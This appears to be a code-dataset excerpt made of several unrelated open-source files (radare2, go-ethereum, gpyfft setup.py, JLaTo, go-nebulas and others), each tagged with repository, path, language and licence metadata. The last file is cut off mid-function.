if (dbg && dbg->h && dbg->h->map_get) {
RList *newmaps = dbg->h->map_get (dbg);
if (newmaps) {
r_list_free (dbg->maps);
dbg->maps = newmaps;
ret = true;
}
}
return (int)ret;
}
R_API RDebugMap* r_debug_map_alloc(RDebug *dbg, ut64 addr, int size) {
RDebugMap *map = NULL;
if (dbg && dbg->h && dbg->h->map_alloc) {
map = dbg->h->map_alloc (dbg, addr, size);
}
return map;
}
R_API int r_debug_map_dealloc(RDebug *dbg, RDebugMap *map) {
bool ret = false;
ut64 addr = map->addr;
if (dbg && dbg->h && dbg->h->map_dealloc) {
if (dbg->h->map_dealloc (dbg, addr, map->size)) {
ret = true;
}
}
return (int)ret;
}
R_API RDebugMap *r_debug_map_get(RDebug *dbg, ut64 addr) {
RDebugMap *map, *ret = NULL;
RListIter *iter;
r_list_foreach (dbg->maps, iter, map) {
if (addr >= map->addr && addr <= map->addr_end) {
ret = map;
break;
}
}
return ret;
}
R_API void r_debug_map_free(RDebugMap *map) {
free (map->name);
free (map);
}
R_API RList *r_debug_map_list_new() {
RList *list = r_list_new ();
if (!list) {
return NULL;
}
list->free = (RListFree)r_debug_map_free;
return list;
}
| skuater/radare2 | libr/debug/map.c | C | lgpl-3.0 | 10,722 |
// Copyright 2014 The go-ethereum Authors
// This file is part of the go-ethereum library.
//
// The go-ethereum library is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// The go-ethereum library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with the go-ethereum library. If not, see <http://www.gnu.org/licenses/>.
// Package types contains data types related to Ethereum consensus.
package types
import (
"encoding/binary"
"encoding/json"
"errors"
"fmt"
"io"
"math/big"
"sort"
"sync/atomic"
"time"
"github.com/kejace/go-ethereum/common"
"github.com/kejace/go-ethereum/crypto/sha3"
"github.com/kejace/go-ethereum/rlp"
)
var (
EmptyRootHash = DeriveSha(Transactions{})
EmptyUncleHash = CalcUncleHash(nil)
)
var (
errMissingHeaderMixDigest = errors.New("missing mixHash in JSON block header")
errMissingHeaderFields = errors.New("missing required JSON block header fields")
errBadNonceSize = errors.New("invalid block nonce size, want 8 bytes")
)
// A BlockNonce is a 64-bit hash which proves (combined with the
// mix-hash) that a sufficient amount of computation has been carried
// out on a block.
type BlockNonce [8]byte
// EncodeNonce converts the given integer to a block nonce.
func EncodeNonce(i uint64) BlockNonce {
var n BlockNonce
binary.BigEndian.PutUint64(n[:], i)
return n
}
// Uint64 returns the integer value of a block nonce.
func (n BlockNonce) Uint64() uint64 {
return binary.BigEndian.Uint64(n[:])
}
// MarshalJSON implements json.Marshaler
func (n BlockNonce) MarshalJSON() ([]byte, error) {
return []byte(fmt.Sprintf(`"0x%x"`, n)), nil
}
// UnmarshalJSON implements json.Unmarshaler
func (n *BlockNonce) UnmarshalJSON(input []byte) error {
var b hexBytes
if err := b.UnmarshalJSON(input); err != nil {
return err
}
if len(b) != 8 {
return errBadNonceSize
}
copy((*n)[:], b)
return nil
}
// Header represents a block header in the Ethereum blockchain.
type Header struct {
ParentHash common.Hash // Hash to the previous block
UncleHash common.Hash // Uncles of this block
Coinbase common.Address // The coin base address
Root common.Hash // Block Trie state
TxHash common.Hash // Tx sha
ReceiptHash common.Hash // Receipt sha
Bloom Bloom // Bloom
Difficulty *big.Int // Difficulty for the current block
Number *big.Int // The block number
GasLimit *big.Int // Gas limit
GasUsed *big.Int // Gas used
Time *big.Int // Creation time
Extra []byte // Extra data
MixDigest common.Hash // for quick difficulty verification
Nonce BlockNonce
}
type jsonHeader struct {
ParentHash *common.Hash `json:"parentHash"`
UncleHash *common.Hash `json:"sha3Uncles"`
Coinbase *common.Address `json:"miner"`
Root *common.Hash `json:"stateRoot"`
TxHash *common.Hash `json:"transactionsRoot"`
ReceiptHash *common.Hash `json:"receiptsRoot"`
Bloom *Bloom `json:"logsBloom"`
Difficulty *hexBig `json:"difficulty"`
Number *hexBig `json:"number"`
GasLimit *hexBig `json:"gasLimit"`
GasUsed *hexBig `json:"gasUsed"`
Time *hexBig `json:"timestamp"`
Extra *hexBytes `json:"extraData"`
MixDigest *common.Hash `json:"mixHash"`
Nonce *BlockNonce `json:"nonce"`
}
// Hash returns the block hash of the header, which is simply the keccak256 hash of its
// RLP encoding.
func (h *Header) Hash() common.Hash {
return rlpHash(h)
}
// HashNoNonce returns the hash which is used as input for the proof-of-work search.
func (h *Header) HashNoNonce() common.Hash {
return rlpHash([]interface{}{
h.ParentHash,
h.UncleHash,
h.Coinbase,
h.Root,
h.TxHash,
h.ReceiptHash,
h.Bloom,
h.Difficulty,
h.Number,
h.GasLimit,
h.GasUsed,
h.Time,
h.Extra,
})
}
// MarshalJSON encodes headers into the web3 RPC response block format.
func (h *Header) MarshalJSON() ([]byte, error) {
return json.Marshal(&jsonHeader{
ParentHash: &h.ParentHash,
UncleHash: &h.UncleHash,
Coinbase: &h.Coinbase,
Root: &h.Root,
TxHash: &h.TxHash,
ReceiptHash: &h.ReceiptHash,
Bloom: &h.Bloom,
Difficulty: (*hexBig)(h.Difficulty),
Number: (*hexBig)(h.Number),
GasLimit: (*hexBig)(h.GasLimit),
GasUsed: (*hexBig)(h.GasUsed),
Time: (*hexBig)(h.Time),
Extra: (*hexBytes)(&h.Extra),
MixDigest: &h.MixDigest,
Nonce: &h.Nonce,
})
}
// UnmarshalJSON decodes headers from the web3 RPC response block format.
func (h *Header) UnmarshalJSON(input []byte) error {
var dec jsonHeader
if err := json.Unmarshal(input, &dec); err != nil {
return err
}
// Ensure that all fields are set. MixDigest is checked separately because
// it is a recent addition to the spec (as of August 2016) and older RPC server
// implementations might not provide it.
if dec.MixDigest == nil {
return errMissingHeaderMixDigest
}
if dec.ParentHash == nil || dec.UncleHash == nil || dec.Coinbase == nil ||
dec.Root == nil || dec.TxHash == nil || dec.ReceiptHash == nil ||
dec.Bloom == nil || dec.Difficulty == nil || dec.Number == nil ||
dec.GasLimit == nil || dec.GasUsed == nil || dec.Time == nil ||
dec.Extra == nil || dec.Nonce == nil {
return errMissingHeaderFields
}
// Assign all values.
h.ParentHash = *dec.ParentHash
h.UncleHash = *dec.UncleHash
h.Coinbase = *dec.Coinbase
h.Root = *dec.Root
h.TxHash = *dec.TxHash
h.ReceiptHash = *dec.ReceiptHash
h.Bloom = *dec.Bloom
h.Difficulty = (*big.Int)(dec.Difficulty)
h.Number = (*big.Int)(dec.Number)
h.GasLimit = (*big.Int)(dec.GasLimit)
h.GasUsed = (*big.Int)(dec.GasUsed)
h.Time = (*big.Int)(dec.Time)
h.Extra = *dec.Extra
h.MixDigest = *dec.MixDigest
h.Nonce = *dec.Nonce
return nil
}
func rlpHash(x interface{}) (h common.Hash) {
hw := sha3.NewKeccak256()
rlp.Encode(hw, x)
hw.Sum(h[:0])
return h
}
// Body is a simple (mutable, non-safe) data container for storing and moving
// a block's data contents (transactions and uncles) together.
type Body struct {
Transactions []*Transaction
Uncles []*Header
}
// Block represents an entire block in the Ethereum blockchain.
type Block struct {
header *Header
uncles []*Header
transactions Transactions
// caches
hash atomic.Value
size atomic.Value
// Td is used by package core to store the total difficulty
// of the chain up to and including the block.
td *big.Int
// These fields are used by package eth to track
// inter-peer block relay.
ReceivedAt time.Time
ReceivedFrom interface{}
}
// DeprecatedTd is an old relic for extracting the TD of a block. It is in the
// code solely to facilitate upgrading the database from the old format to the
// new, after which it should be deleted. Do not use!
func (b *Block) DeprecatedTd() *big.Int {
return b.td
}
// [deprecated by eth/63]
// StorageBlock defines the RLP encoding of a Block stored in the
// state database. The StorageBlock encoding contains fields that
// would otherwise need to be recomputed.
type StorageBlock Block
// "external" block encoding. used for eth protocol, etc.
type extblock struct {
Header *Header
Txs []*Transaction
Uncles []*Header
}
// [deprecated by eth/63]
// "storage" block encoding. used for database.
type storageblock struct {
Header *Header
Txs []*Transaction
Uncles []*Header
TD *big.Int
}
// NewBlock creates a new block. The input data is copied,
// changes to header and to the field values will not affect the
// block.
//
// The values of TxHash, UncleHash, ReceiptHash and Bloom in header
// are ignored and set to values derived from the given txs, uncles
// and receipts.
func NewBlock(header *Header, txs []*Transaction, uncles []*Header, receipts []*Receipt) *Block {
b := &Block{header: CopyHeader(header), td: new(big.Int)}
// TODO: panic if len(txs) != len(receipts)
if len(txs) == 0 {
b.header.TxHash = EmptyRootHash
} else {
b.header.TxHash = DeriveSha(Transactions(txs))
b.transactions = make(Transactions, len(txs))
copy(b.transactions, txs)
}
if len(receipts) == 0 {
b.header.ReceiptHash = EmptyRootHash
} else {
b.header.ReceiptHash = DeriveSha(Receipts(receipts))
b.header.Bloom = CreateBloom(receipts)
}
if len(uncles) == 0 {
b.header.UncleHash = EmptyUncleHash
} else {
b.header.UncleHash = CalcUncleHash(uncles)
b.uncles = make([]*Header, len(uncles))
for i := range uncles {
b.uncles[i] = CopyHeader(uncles[i])
}
}
return b
}
// NewBlockWithHeader creates a block with the given header data. The
// header data is copied, changes to header and to the field values
// will not affect the block.
func NewBlockWithHeader(header *Header) *Block {
return &Block{header: CopyHeader(header)}
}
// CopyHeader creates a deep copy of a block header to prevent side effects from
// modifying a header variable.
func CopyHeader(h *Header) *Header {
cpy := *h
if cpy.Time = new(big.Int); h.Time != nil {
cpy.Time.Set(h.Time)
}
if cpy.Difficulty = new(big.Int); h.Difficulty != nil {
cpy.Difficulty.Set(h.Difficulty)
}
if cpy.Number = new(big.Int); h.Number != nil {
cpy.Number.Set(h.Number)
}
if cpy.GasLimit = new(big.Int); h.GasLimit != nil {
cpy.GasLimit.Set(h.GasLimit)
}
if cpy.GasUsed = new(big.Int); h.GasUsed != nil {
cpy.GasUsed.Set(h.GasUsed)
}
if len(h.Extra) > 0 {
cpy.Extra = make([]byte, len(h.Extra))
copy(cpy.Extra, h.Extra)
}
return &cpy
}
// DecodeRLP decodes the Ethereum
func (b *Block) DecodeRLP(s *rlp.Stream) error {
var eb extblock
_, size, _ := s.Kind()
if err := s.Decode(&eb); err != nil {
return err
}
b.header, b.uncles, b.transactions = eb.Header, eb.Uncles, eb.Txs
b.size.Store(common.StorageSize(rlp.ListSize(size)))
return nil
}
// EncodeRLP serializes b into the Ethereum RLP block format.
func (b *Block) EncodeRLP(w io.Writer) error {
return rlp.Encode(w, extblock{
Header: b.header,
Txs: b.transactions,
Uncles: b.uncles,
})
}
// [deprecated by eth/63]
func (b *StorageBlock) DecodeRLP(s *rlp.Stream) error {
var sb storageblock
if err := s.Decode(&sb); err != nil {
return err
}
b.header, b.uncles, b.transactions, b.td = sb.Header, sb.Uncles, sb.Txs, sb.TD
return nil
}
// TODO: copies
func (b *Block) Uncles() []*Header { return b.uncles }
func (b *Block) Transactions() Transactions { return b.transactions }
func (b *Block) Transaction(hash common.Hash) *Transaction {
for _, transaction := range b.transactions {
if transaction.Hash() == hash {
return transaction
}
}
return nil
}
func (b *Block) Number() *big.Int { return new(big.Int).Set(b.header.Number) }
func (b *Block) GasLimit() *big.Int { return new(big.Int).Set(b.header.GasLimit) }
func (b *Block) GasUsed() *big.Int { return new(big.Int).Set(b.header.GasUsed) }
func (b *Block) Difficulty() *big.Int { return new(big.Int).Set(b.header.Difficulty) }
func (b *Block) Time() *big.Int { return new(big.Int).Set(b.header.Time) }
func (b *Block) NumberU64() uint64 { return b.header.Number.Uint64() }
func (b *Block) MixDigest() common.Hash { return b.header.MixDigest }
func (b *Block) Nonce() uint64 { return binary.BigEndian.Uint64(b.header.Nonce[:]) }
func (b *Block) Bloom() Bloom { return b.header.Bloom }
func (b *Block) Coinbase() common.Address { return b.header.Coinbase }
func (b *Block) Root() common.Hash { return b.header.Root }
func (b *Block) ParentHash() common.Hash { return b.header.ParentHash }
func (b *Block) TxHash() common.Hash { return b.header.TxHash }
func (b *Block) ReceiptHash() common.Hash { return b.header.ReceiptHash }
func (b *Block) UncleHash() common.Hash { return b.header.UncleHash }
func (b *Block) Extra() []byte { return common.CopyBytes(b.header.Extra) }
func (b *Block) Header() *Header { return CopyHeader(b.header) }
// Body returns the non-header content of the block.
func (b *Block) Body() *Body { return &Body{b.transactions, b.uncles} }
func (b *Block) HashNoNonce() common.Hash {
return b.header.HashNoNonce()
}
func (b *Block) Size() common.StorageSize {
if size := b.size.Load(); size != nil {
return size.(common.StorageSize)
}
c := writeCounter(0)
rlp.Encode(&c, b)
b.size.Store(common.StorageSize(c))
return common.StorageSize(c)
}
type writeCounter common.StorageSize
func (c *writeCounter) Write(b []byte) (int, error) {
*c += writeCounter(len(b))
return len(b), nil
}
func CalcUncleHash(uncles []*Header) common.Hash {
return rlpHash(uncles)
}
// WithMiningResult returns a new block with the data from b
// where nonce and mix digest are set to the provided values.
func (b *Block) WithMiningResult(nonce uint64, mixDigest common.Hash) *Block {
cpy := *b.header
binary.BigEndian.PutUint64(cpy.Nonce[:], nonce)
cpy.MixDigest = mixDigest
return &Block{
header: &cpy,
transactions: b.transactions,
uncles: b.uncles,
}
}
// WithBody returns a new block with the given transaction and uncle contents.
func (b *Block) WithBody(transactions []*Transaction, uncles []*Header) *Block {
block := &Block{
header: CopyHeader(b.header),
transactions: make([]*Transaction, len(transactions)),
uncles: make([]*Header, len(uncles)),
}
copy(block.transactions, transactions)
for i := range uncles {
block.uncles[i] = CopyHeader(uncles[i])
}
return block
}
// Hash returns the keccak256 hash of b's header.
// The hash is computed on the first call and cached thereafter.
func (b *Block) Hash() common.Hash {
if hash := b.hash.Load(); hash != nil {
return hash.(common.Hash)
}
v := rlpHash(b.header)
b.hash.Store(v)
return v
}
func (b *Block) String() string {
str := fmt.Sprintf(`Block(#%v): Size: %v {
MinerHash: %x
%v
Transactions:
%v
Uncles:
%v
}
`, b.Number(), b.Size(), b.header.HashNoNonce(), b.header, b.transactions, b.uncles)
return str
}
func (h *Header) String() string {
return fmt.Sprintf(`Header(%x):
[
ParentHash: %x
UncleHash: %x
Coinbase: %x
Root: %x
TxSha %x
ReceiptSha: %x
Bloom: %x
Difficulty: %v
Number: %v
GasLimit: %v
GasUsed: %v
Time: %v
Extra: %s
MixDigest: %x
Nonce: %x
]`, h.Hash(), h.ParentHash, h.UncleHash, h.Coinbase, h.Root, h.TxHash, h.ReceiptHash, h.Bloom, h.Difficulty, h.Number, h.GasLimit, h.GasUsed, h.Time, h.Extra, h.MixDigest, h.Nonce)
}
type Blocks []*Block
type BlockBy func(b1, b2 *Block) bool
func (self BlockBy) Sort(blocks Blocks) {
bs := blockSorter{
blocks: blocks,
by: self,
}
sort.Sort(bs)
}
type blockSorter struct {
blocks Blocks
by func(b1, b2 *Block) bool
}
func (self blockSorter) Len() int { return len(self.blocks) }
func (self blockSorter) Swap(i, j int) {
self.blocks[i], self.blocks[j] = self.blocks[j], self.blocks[i]
}
func (self blockSorter) Less(i, j int) bool { return self.by(self.blocks[i], self.blocks[j]) }
func Number(b1, b2 *Block) bool { return b1.header.Number.Cmp(b2.header.Number) < 0 }
| kejace/go-ethereum | core/types/block.go | GO | lgpl-3.0 | 15,560 |
// Created file "Lib\src\Uuid\X64\guids"
typedef struct _GUID
{
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
unsigned char Data4[8];
} GUID;
#define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
extern const GUID name = { l, w1, w2, { b1, b2, b3, b4, b5, b6, b7, b8 } }
DEFINE_GUID(PKEY_Photo_FocalPlaneYResolutionDenominator, 0x1d6179a6, 0xa876, 0x4031, 0xb0, 0x13, 0x33, 0x47, 0xb2, 0xb6, 0x4d, 0xc8);
| Frankie-PellesC/fSDK | Lib/src/Uuid/X64/guids00000549.c | C | lgpl-3.0 | 477 |
<?php
$model = new waModel();
try {
$model->query("SELECT parent_id FROM contacts_view WHERE 0");
$model->exec("ALTER TABLE contacts_view DROP parent_id");
} catch (waException $e) {
} | RomanNosov/convershop | wa-apps/contacts/plugins/pro/lib/updates/dev/1401451115.php | PHP | lgpl-3.0 | 198 |
import os
import platform
from setuptools import setup, Extension
from distutils.util import convert_path
from Cython.Build import cythonize
system = platform.system()
## paths settings
# Linux
if 'Linux' in system:
CLFFT_DIR = r'/home/gregor/devel/clFFT'
CLFFT_LIB_DIRS = [r'/usr/local/lib64']
CLFFT_INCL_DIRS = [os.path.join(CLFFT_DIR, 'src', 'include'), ]
CL_INCL_DIRS = ['/opt/AMDAPPSDK-3.0/include']
EXTRA_COMPILE_ARGS = []
EXTRA_LINK_ARGS = []
#Windows
elif 'Windows' in system:
CLFFT_DIR = r'C:\Users\admin\Devel\clFFT-Full-2.12.2-Windows-x64'
CLFFT_LIB_DIRS = [os.path.join(CLFFT_DIR, 'lib64\import')]
CLFFT_INCL_DIRS = [os.path.join(CLFFT_DIR, 'include'), ]
CL_DIR = os.getenv('AMDAPPSDKROOT')
CL_INCL_DIRS = [os.path.join(CL_DIR, 'include')]
EXTRA_COMPILE_ARGS = []
EXTRA_LINK_ARGS = []
# macOS
elif 'Darwin' in system:
CLFFT_DIR = r'/Users/gregor/Devel/clFFT'
CLFFT_LIB_DIRS = [r'/Users/gregor/Devel/clFFT/src/library']
CLFFT_INCL_DIRS = [os.path.join(CLFFT_DIR, 'src', 'include'), ]
CL_INCL_DIRS = []
EXTRA_COMPILE_ARGS = ['-stdlib=libc++']
EXTRA_LINK_ARGS = ['-stdlib=libc++']
import Cython.Compiler.Options
Cython.Compiler.Options.generate_cleanup_code = 2
extensions = [
Extension("gpyfft.gpyfftlib",
[os.path.join('gpyfft', 'gpyfftlib.pyx')],
include_dirs= CLFFT_INCL_DIRS + CL_INCL_DIRS,
extra_compile_args=EXTRA_COMPILE_ARGS,
extra_link_args=EXTRA_LINK_ARGS,
libraries=['clFFT'],
library_dirs = CLFFT_LIB_DIRS,
language='c++',
)
]
def copy_clfftdll_to_package():
import shutil
shutil.copy(
os.path.join(CLFFT_DIR, 'bin', 'clFFT.dll'),
'gpyfft')
shutil.copy(
os.path.join(CLFFT_DIR, 'bin', 'StatTimer.dll'),
'gpyfft')
print("copied clFFT.dll, StatTimer.dll")
package_data = {}
if 'Windows' in platform.system():
copy_clfftdll_to_package()
package_data.update({'gpyfft': ['clFFT.dll', 'StatTimer.dll']},)
def get_version():
main_ns = {}
version_path = convert_path('gpyfft/version.py')
with open(version_path) as version_file:
exec(version_file.read(), main_ns)
version = main_ns['__version__']
return version
def get_readme():
dirname = os.path.dirname(os.path.abspath(__file__))
with open(os.path.join(dirname, "README.md"), "r") as fp:
long_description = fp.read()
return long_description
install_requires = ["numpy", "pyopencl"]
setup_requires = ["numpy", "cython"]
setup(
name='gpyfft',
version=get_version(),
description='A Python wrapper for the OpenCL FFT library clFFT',
long_description=get_readme(),
url=r"https://github.com/geggo/gpyfft",
maintainer='Gregor Thalhammer',
maintainer_email='[email protected]',
license='LGPL',
packages=['gpyfft', "gpyfft.test"],
ext_modules=cythonize(extensions),
package_data=package_data,
install_requires=install_requires,
setup_requires=setup_requires,
)
| geggo/gpyfft | setup.py | Python | lgpl-3.0 | 3,106 |
#include<iostream>
#include<cstdio>
#include<cstring>
#include<cmath>
#include<vector>
#include<algorithm>
#define REP(i,a,b) for(int i=a;i<=b;++i)
#define FOR(i,a,b) for(int i=a;i<b;++i)
#define uREP(i,a,b) for(int i=a;i>=b;--i)
#define ECH(i,x) for(__typeof(x.begin()) i=x.begin();i!=x.end();++i)
#define CPY(a,b) memcpy(a,b,sizeof(a))
#define CLR(a,b) memset(a,b,sizeof(a))
#pragma GCC optimize("O2")
//#pragma comment(linker,"/STACK:36777216")
#define endl '\n'
#define sf scanf
#define pf printf
#define maxn 3000
using namespace std;
struct bign{
int len,v[maxn+2];
bign(){len=0,CLR(v,0);}
void print(){uREP(i,len,1)pf("%d",v[i]);}
bign operator*(int b){
REP(i,1,len)v[i]*=b;
REP(i,1,len){
v[i+1]+=v[i]/10;
v[i]%=10;
if(v[i+1])len=max(len,i+1);
}
return *this;
}
};
int main(){
//freopen("input.txt","r",stdin);
int n;
while(~sf("%d",&n)){
bign ans;
ans.v[1]=ans.len=1;
REP(i,1,n)ans=ans*i;
pf("%d!\n",n);
ans.print();pf("\n");
}
return 0;
}
| metowolf/ACM | UVa/volume006/623 - 500!.cpp | C++ | lgpl-3.0 | 991 |
<import resource="classpath:alfresco/site-webscripts/org/alfresco/components/workflow/workflow.lib.js">
var workflowDefinitions = getWorkflowDefinitions(),
filters = [];
if (workflowDefinitions)
{
for (var i = 0, il = workflowDefinitions.length; i < il; i++)
{
filters.push(
{
id: "workflowType",
data: workflowDefinitions[i].name,
label: workflowDefinitions[i].title
});
}
}
model.filters = filters;
| loftuxab/community-edition-old | projects/slingshot/config/alfresco/site-webscripts/org/alfresco/components/workflow/filter/workflow-type.get.js | JavaScript | lgpl-3.0 | 458 |
/********************************************************************
(c) Copyright 2014-2015 Mettler-Toledo CT. All Rights Reserved.
File Name: LogDefinationInternal.h
File Path: MTLoggerLib
Description: LogDefinationInternal
Author: Wang Bin
Created: 2015/6/10 16:01
Remark: LogDefinationInternal
*********************************************************************/
#pragma once
#ifndef _MTLogger_LogDefinationInternal_H
#define _MTLogger_LogDefinationInternal_H
#include "Platform/COsString.h"
#include "Platform/stdutil.h"
#define HEARTBEAT "\a"
#define LOG_SOCKET_RETRY_TIME 3
#define LOGCONFIG_FILE_NAME "LogService.config"
#define DEFAULT_LOG_LENTH 1024
#define LOGCONFIGDIR "LogConfigs/"
#define LOGCONFIGEXTENSION ".config"
#define LOGFILEEXTENSION ".log"
#define DEFAULTLOGDIR "Log/"
#define DEFAULTLOGHOSTNAME "Default"
/************************************************************************
日志命令
************************************************************************/
enum ELogCommand {
E_LOGCOMMAND_LOGDELETE,
E_LOGCOMMAND_LOGWRITE,
E_LOGCOMMAND_LOGCONFIG,
E_LOGCOMMAND_LOGSTOP,
};
/************************************************************************
日志对象类型
************************************************************************/
enum ELogObjType {
E_LOGOBJTYPE_LOGMSG,
E_LOGOBJTYPE_LOGCONFIG,
E_LOGOBJTYPE_NULL, //2015/2/28 add by wangbin 仅在保存日志配置的时候生效,不需要保存这个节点
};
/************************************************************************
日志服务状态
************************************************************************/
enum ELogServerStatus {
E_LogServerStatus_Unknown,
E_LogServerStatus_Outline,
E_LogServerStatus_Online,
};
/************************************************************************
调用写日志线程的是服务端还是客户端
************************************************************************/
enum ELogHostType {
E_LogHostType_Server,
E_LogHostType_Client,
};
inline bool GetLogObjTypeValue(const char *strVal, ELogObjType &val)
{
if (COsString::Compare(strVal, "LOGMSG", true) == 0) {
val = E_LOGOBJTYPE_LOGMSG;
return true;
}
else if (COsString::Compare(strVal, "LOGCONFIG", true) == 0) {
val = E_LOGOBJTYPE_LOGCONFIG;
return true;
}
else {
return false;
}
}
inline bool GetLogObjTypeString(ELogObjType val, char **strVal)
{
switch (val) {
case E_LOGOBJTYPE_LOGMSG: {
COsString::Copy("LOGMSG", strVal);
return true;
}
case E_LOGOBJTYPE_LOGCONFIG: {
COsString::Copy("LOGCONFIG", strVal);
return true;
}
case E_LOGOBJTYPE_NULL: {
*strVal = NULL;
return true;
}
default: {
SAFE_DELETEA(*strVal);
return false;
}
}
}
#endif // _MTLogger_LogDefinationInternal_H
| yokarno/MTCommonLib | Code/MTLogger/LogDefinationInternal.h | C | lgpl-3.0 | 3,017 |
/********************************************************************
Export
*********************************************************************/
/** @private */
vs.util.extend (exports, {
Animation: Animation,
Trajectory: Trajectory,
Vector1D: Vector1D,
Vector2D: Vector2D,
Circular2D: Circular2D,
Pace: Pace,
Chronometer: Chronometer,
generateCubicBezierFunction: generateCubicBezierFunction,
createTransition: createTransition,
freeTransition: freeTransition,
animateTransitionBis: animateTransitionBis,
attachTransition: attachTransition,
removeTransition: removeTransition
});
| vinisketch/VSToolkit | src/ext/fx/Exports.js | JavaScript | lgpl-3.0 | 840 |
/*
* Copyright (C) 2015-2016 Didier Villevalois.
*
* This file is part of JLaTo.
*
* JLaTo is free software: you can redistribute it and/or modify it under
* the terms of the GNU Lesser General Public License as published by the
* Free Software Foundation, either version 3 of the License, or (at your
* option) any later version.
*
* JLaTo is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
* License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with JLaTo. If not, see <http://www.gnu.org/licenses/>.
*/
package org.jlato.internal.td.decl;
import org.jlato.internal.bu.coll.SNodeList;
import org.jlato.internal.bu.decl.SAnnotationDecl;
import org.jlato.internal.bu.name.SName;
import org.jlato.internal.td.TDLocation;
import org.jlato.internal.td.TDTree;
import org.jlato.tree.Kind;
import org.jlato.tree.NodeList;
import org.jlato.tree.Trees;
import org.jlato.tree.decl.AnnotationDecl;
import org.jlato.tree.decl.ExtendedModifier;
import org.jlato.tree.decl.MemberDecl;
import org.jlato.tree.decl.TypeDecl;
import org.jlato.tree.name.Name;
import org.jlato.util.Mutation;
/**
* An annotation type declaration.
*/
public class TDAnnotationDecl extends TDTree<SAnnotationDecl, TypeDecl, AnnotationDecl> implements AnnotationDecl {
/**
* Returns the kind of this annotation type declaration.
*
* @return the kind of this annotation type declaration.
*/
public Kind kind() {
return Kind.AnnotationDecl;
}
/**
* Creates an annotation type declaration for the specified tree location.
*
* @param location the tree location.
*/
public TDAnnotationDecl(TDLocation<SAnnotationDecl> location) {
super(location);
}
/**
* Creates an annotation type declaration with the specified child trees.
*
* @param modifiers the modifiers child tree.
* @param name the name child tree.
* @param members the members child tree.
*/
public TDAnnotationDecl(NodeList<ExtendedModifier> modifiers, Name name, NodeList<MemberDecl> members) {
super(new TDLocation<SAnnotationDecl>(SAnnotationDecl.make(TDTree.<SNodeList>treeOf(modifiers), TDTree.<SName>treeOf(name), TDTree.<SNodeList>treeOf(members))));
}
/**
* Returns the modifiers of this annotation type declaration.
*
* @return the modifiers of this annotation type declaration.
*/
public NodeList<ExtendedModifier> modifiers() {
return location.safeTraversal(SAnnotationDecl.MODIFIERS);
}
/**
* Replaces the modifiers of this annotation type declaration.
*
* @param modifiers the replacement for the modifiers of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withModifiers(NodeList<ExtendedModifier> modifiers) {
return location.safeTraversalReplace(SAnnotationDecl.MODIFIERS, modifiers);
}
/**
* Mutates the modifiers of this annotation type declaration.
*
* @param mutation the mutation to apply to the modifiers of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withModifiers(Mutation<NodeList<ExtendedModifier>> mutation) {
return location.safeTraversalMutate(SAnnotationDecl.MODIFIERS, mutation);
}
/**
* Returns the name of this annotation type declaration.
*
* @return the name of this annotation type declaration.
*/
public Name name() {
return location.safeTraversal(SAnnotationDecl.NAME);
}
/**
* Replaces the name of this annotation type declaration.
*
* @param name the replacement for the name of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withName(Name name) {
return location.safeTraversalReplace(SAnnotationDecl.NAME, name);
}
/**
* Mutates the name of this annotation type declaration.
*
* @param mutation the mutation to apply to the name of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withName(Mutation<Name> mutation) {
return location.safeTraversalMutate(SAnnotationDecl.NAME, mutation);
}
/**
* Replaces the name of this annotation type declaration.
*
* @param name the replacement for the name of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withName(String name) {
return location.safeTraversalReplace(SAnnotationDecl.NAME, Trees.name(name));
}
/**
* Returns the members of this annotation type declaration.
*
* @return the members of this annotation type declaration.
*/
public NodeList<MemberDecl> members() {
return location.safeTraversal(SAnnotationDecl.MEMBERS);
}
/**
* Replaces the members of this annotation type declaration.
*
* @param members the replacement for the members of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withMembers(NodeList<MemberDecl> members) {
return location.safeTraversalReplace(SAnnotationDecl.MEMBERS, members);
}
/**
* Mutates the members of this annotation type declaration.
*
* @param mutation the mutation to apply to the members of this annotation type declaration.
* @return the resulting mutated annotation type declaration.
*/
public AnnotationDecl withMembers(Mutation<NodeList<MemberDecl>> mutation) {
return location.safeTraversalMutate(SAnnotationDecl.MEMBERS, mutation);
}
}
| ptitjes/jlato | src/main/java/org/jlato/internal/td/decl/TDAnnotationDecl.java | Java | lgpl-3.0 | 5,671 |
// Copyright (C) 2018 go-nebulas authors
//
// This file is part of the go-nebulas library.
//
// the go-nebulas library is free software: you can redistribute it and/or
// modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// the go-nebulas library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with the go-nebulas library. If not, see
// <http://www.gnu.org/licenses/>.
//
#include "cmd/dummy_neb/generator/transaction_generator.h"
transaction_generator::transaction_generator(all_accounts *accounts,
generate_block *block,
int new_account_num, int tx_num)
: generator_base(accounts, block, new_account_num, tx_num),
m_new_addresses(), m_last_used_address_index(0) {}
transaction_generator::~transaction_generator() {}
std::shared_ptr<corepb::Account> transaction_generator::gen_account() {
auto ret = m_block->gen_user_account(100_nas);
m_new_addresses.push_back(neb::to_address(ret->address()));
return ret;
}
std::shared_ptr<corepb::Transaction> transaction_generator::gen_tx() {
auto from_addr =
neb::to_address(m_all_accounts->random_user_account()->address());
address_t to_addr;
